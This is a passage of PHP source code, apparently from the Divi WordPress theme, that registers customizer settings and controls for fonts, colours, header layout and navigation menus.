				$wp_customize,
				'et_divi[phone_body_font_size]',
				array(
					'label'       => esc_html__( 'Body Text Size', 'Divi' ),
					'section'     => 'et_divi_mobile_phone',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[tablet_body_font_size]',
			array(
				'default'           => et_get_option( 'body_font_size', '14' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[tablet_body_font_size]',
				array(
					'label'       => esc_html__( 'Body Text Size', 'Divi' ),
					'section'     => 'et_divi_mobile_tablet',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_header_size]',
			array(
				'default'           => '30',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[body_header_size]',
				array(
					'label'       => esc_html__( 'Header Text Size', 'Divi' ),
					'section'     => 'et_divi_general_typography',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 22,
						'max'  => 72,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_header_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[body_header_spacing]',
				array(
					'label'       => esc_html__( 'Header Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_general_typography',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -2,
						'max'  => 10,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_header_height]',
			array(
				'default'           => '1',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_float_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[body_header_height]',
				array(
					'label'       => esc_html__( 'Header Line Height', 'Divi' ),
					'section'     => 'et_divi_general_typography',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0.8,
						'max'  => 3,
						'step' => 0.1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_header_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_divi_global_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[body_header_style]',
				array(
					'label'   => esc_html__( 'Header Font Style', 'Divi' ),
					'section' => 'et_divi_general_typography',
					'type'    => 'font_style',
					'choices' => et_divi_global_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[phone_header_font_size]',
			array(
				'default'           => et_get_option( 'tablet_header_font_size', '30' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[phone_header_font_size]',
				array(
					'label'       => esc_html__( 'Header Text Size', 'Divi' ),
					'section'     => 'et_divi_mobile_phone',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 22,
						'max'  => 72,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[tablet_header_font_size]',
			array(
				'default'           => et_get_option( 'body_header_size', '30' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[tablet_header_font_size]',
				array(
					'label'       => esc_html__( 'Header Text Size', 'Divi' ),
					'section'     => 'et_divi_mobile_tablet',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 22,
						'max'  => 72,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[heading_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[heading_font]',
				array(
					'label'    => esc_html__( 'Header Font', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[heading_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[heading_font_weight]',
			array(
				'default'           => '500',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_global_font_weight',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Custom_Select_Option(
				$wp_customize,
				'et_divi[heading_font_weight]',
				array(
					'label'    => esc_html__( 'Header Font Weight', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[heading_font_weight]',
					'type'     => 'select',
					'choices'  => et_builder_get_font_weight_list(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[header_color]',
			array(
				'default'           => '#666666',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[header_color]',
				array(
					'label'    => esc_html__( 'Heading Text Color', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[header_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[body_font]',
				array(
					'label'    => esc_html__( 'Body Font', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[body_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[body_font_weight]',
			array(
				'default'           => '500',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_global_font_weight',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Custom_Select_Option(
				$wp_customize,
				'et_divi[body_font_weight]',
				array(
					'label'    => esc_html__( 'Body Font Weight', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[body_font_weight]',
					'type'     => 'select',
					'choices'  => et_builder_get_font_weight_list(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[font_color]',
			array(
				'default'           => '#666666',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[font_color]',
				array(
					'label'    => esc_html__( 'Body Text Color', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[font_color]',
				)
			)
		);


		$wp_customize->add_setting(
			'et_divi[link_color]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[link_color]',
				array(
					'label'    => esc_html__( 'Link Color', 'Divi' ),
					'section'  => 'et_divi_general_typography',
					'settings' => 'et_divi[link_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[accent_color]',
			array(
				'default'           => '#2ea3f2',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_accent_color]',
			array(
				'default'           => '#8800FF',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[accent_color]',
				array(
					'label'    => esc_html__( 'Primary Color', 'Divi' ),
					'section'  => 'et_divi_general_layout',
					'settings' => 'et_divi[accent_color]',
				)
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[secondary_accent_color]',
				array(
					'label'    => esc_html__( 'Secondary Color', 'Divi' ),
					'section'  => 'et_divi_general_layout',
					'settings' => 'et_divi[secondary_accent_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[color_schemes]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_color_scheme',
			)
		);

		$wp_customize->add_control(
			'et_divi[color_schemes]',
			array(
				'label'    => esc_html__( 'Color Schemes', 'Divi' ),
				'section'  => 'et_color_schemes',
				'settings' => 'et_divi[color_schemes]',
				'type'     => 'select',
				'choices'  => et_divi_color_scheme_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[header_style]',
			array(
				'default'           => 'left',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_header_style',
			)
		);

		$wp_customize->add_control(
			'et_divi[header_style]',
			array(
				'label'   => esc_html__( 'Header Style', 'Divi' ),
				'section' => 'et_divi_header_layout',
				'type'    => 'select',
				'choices' => et_divi_header_style_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[vertical_nav]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[vertical_nav]',
			array(
				'label'   => esc_html__( 'Enable Vertical Navigation', 'Divi' ),
				'section' => 'et_divi_header_layout',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[vertical_nav_orientation]',
			array(
				'default'           => 'left',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_left_right',
			)
		);

		$wp_customize->add_control(
			'et_divi[vertical_nav_orientation]',
			array(
				'label'   => esc_html__( 'Vertical Menu Orientation', 'Divi' ),
				'section' => 'et_divi_header_layout',
				'type'    => 'select',
				'choices' => et_divi_left_right_choices(),
			)
		);

		if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) {

			$wp_customize->add_setting(
				'et_divi[hide_nav]',
				array(
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'wp_validate_boolean',
				)
			);

			$wp_customize->add_control(
				'et_divi[hide_nav]',
				array(
					'label'   => esc_html__( 'Hide Navigation Until Scroll', 'Divi' ),
					'section' => 'et_divi_header_layout',
					'type'    => 'checkbox',
				)
			);

		}

		$wp_customize->add_setting(
			'et_divi[show_header_social_icons]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[show_header_social_icons]',
			array(
				'label'   => esc_html__( 'Show Social Icons', 'Divi' ),
				'section' => 'et_divi_header_information',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[show_search_icon]',
			array(
				'default'           => 'on',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[show_search_icon]',
			array(
				'label'   => esc_html__( 'Show Search Icon', 'Divi' ),
				'section' => 'et_divi_header_information',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_show_top_bar]',
			array(
				'default'           => 'on',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[slide_nav_show_top_bar]',
			array(
				'label'   => esc_html__( 'Show Top Bar', 'Divi' ),
				'section' => 'et_divi_header_slide',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_width]',
			array(
				'default'           => '320',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[slide_nav_width]',
				array(
					'label'       => esc_html__( 'Menu Width', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 280,
						'max'  => 600,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[slide_nav_font_size]',
				array(
					'label'       => esc_html__( 'Menu Text Size', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 24,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_top_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[slide_nav_top_font_size]',
				array(
					'label'       => esc_html__( 'Top Bar Text Size', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 24,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[fullscreen_nav_font_size]',
			array(
				'default'           => '30',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[fullscreen_nav_font_size]',
				array(
					'label'       => esc_html__( 'Menu Text Size', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 50,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[fullscreen_nav_top_font_size]',
			array(
				'default'           => '18',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[fullscreen_nav_top_font_size]',
				array(
					'label'       => esc_html__( 'Top Bar Text Size', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 40,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_font_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[slide_nav_font_spacing]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_header_slide',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -1,
						'max'  => 8,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[slide_nav_font]',
				array(
					'label'    => esc_html__( 'Font', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_font_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[slide_nav_font_style]',
				array(
					'label'   => esc_html__( 'Font Style', 'Divi' ),
					'section' => 'et_divi_header_slide',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_bg]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_bg]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_links_color]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_links_color]',
				array(
					'label'    => esc_html__( 'Menu Link Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_links_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_links_color_active]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_links_color_active]',
				array(
					'label'    => esc_html__( 'Active Link Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_links_color_active]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_top_color]',
			array(
				'default'           => 'rgba(255,255,255,0.6)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_top_color]',
				array(
					'label'    => esc_html__( 'Top Bar Text Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_top_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_search]',
			array(
				'default'           => 'rgba(255,255,255,0.6)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_search]',
				array(
					'label'    => esc_html__( 'Search Bar Text Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_search]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[slide_nav_search_bg]',
			array(
				'default'           => 'rgba(0,0,0,0.2)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[slide_nav_search_bg]',
				array(
					'label'    => esc_html__( 'Search Bar Background Color', 'Divi' ),
					'section'  => 'et_divi_header_slide',
					'settings' => 'et_divi[slide_nav_search_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[nav_fullwidth]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[nav_fullwidth]',
			array(
				'label'   => esc_html__( 'Make Full Width', 'Divi' ),
				'section' => 'et_divi_header_primary',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[hide_primary_logo]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[hide_primary_logo]',
			array(
				'label'   => esc_html__( 'Hide Logo Image', 'Divi' ),
				'section' => 'et_divi_header_primary',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[menu_height]',
			array(
				'default'           => '66',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[menu_height]',
				array(
					'label'       => esc_html__( 'Menu Height', 'Divi' ),
					'section'     => 'et_divi_header_primary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 30,
						'max'  => 300,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[logo_height]',
			array(
				'default'           => '54',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[logo_height]',
				array(
					'label'       => esc_html__( 'Logo Max Height', 'Divi' ),
					'section'     => 'et_divi_header_primary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 30,
						'max'  => 100,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[menu_margin_top]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[menu_margin_top]',
				array(
					'label'       => esc_html__( 'Menu Top Margin', 'Divi' ),
					'section'     => 'et_divi_header_primary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 300,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[primary_nav_font_size]',
				array(
					'label'       => esc_html__( 'Text Size', 'Divi' ),
					'section'     => 'et_divi_header_primary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 24,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_font_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[primary_nav_font_spacing]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_header_primary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -1,
						'max'  => 8,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[primary_nav_font]',
				array(
					'label'    => esc_html__( 'Font', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[primary_nav_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_font_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[primary_nav_font_style]',
				array(
					'label'   => esc_html__( 'Font Style', 'Divi' ),
					'section' => 'et_divi_header_primary',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_font_size]',
			array(
				'default'           => '12',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_fullwidth]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[secondary_nav_fullwidth]',
			array(
				'label'   => esc_html__( 'Make Full Width', 'Divi' ),
				'section' => 'et_divi_header_secondary',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[secondary_nav_font_size]',
				array(
					'label'       => esc_html__( 'Text Size', 'Divi' ),
					'section'     => 'et_divi_header_secondary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 20,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_font_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_int_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[secondary_nav_font_spacing]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_header_secondary',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => -1,
						'max'  => 8,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_font]',
			array(
				'default'           => 'none',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_choices',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Select_Option(
				$wp_customize,
				'et_divi[secondary_nav_font]',
				array(
					'label'    => esc_html__( 'Font', 'Divi' ),
					'section'  => 'et_divi_header_secondary',
					'settings' => 'et_divi[secondary_nav_font]',
					'type'     => 'select',
					'choices'  => $font_choices,
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_font_style]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[secondary_nav_font_style]',
				array(
					'label'   => esc_html__( 'Font Style', 'Divi' ),
					'section' => 'et_divi_header_secondary',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[menu_link]',
			array(
				'default'           => 'rgba(0,0,0,0.6)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[menu_link]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[menu_link]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[hide_mobile_logo]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[hide_mobile_logo]',
			array(
				'label'   => esc_html__( 'Hide Logo Image', 'Divi' ),
				'section' => 'et_divi_mobile_menu',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[mobile_menu_link]',
			array(
				'default'           => et_get_option( 'menu_link', 'rgba(0,0,0,0.6)' ),
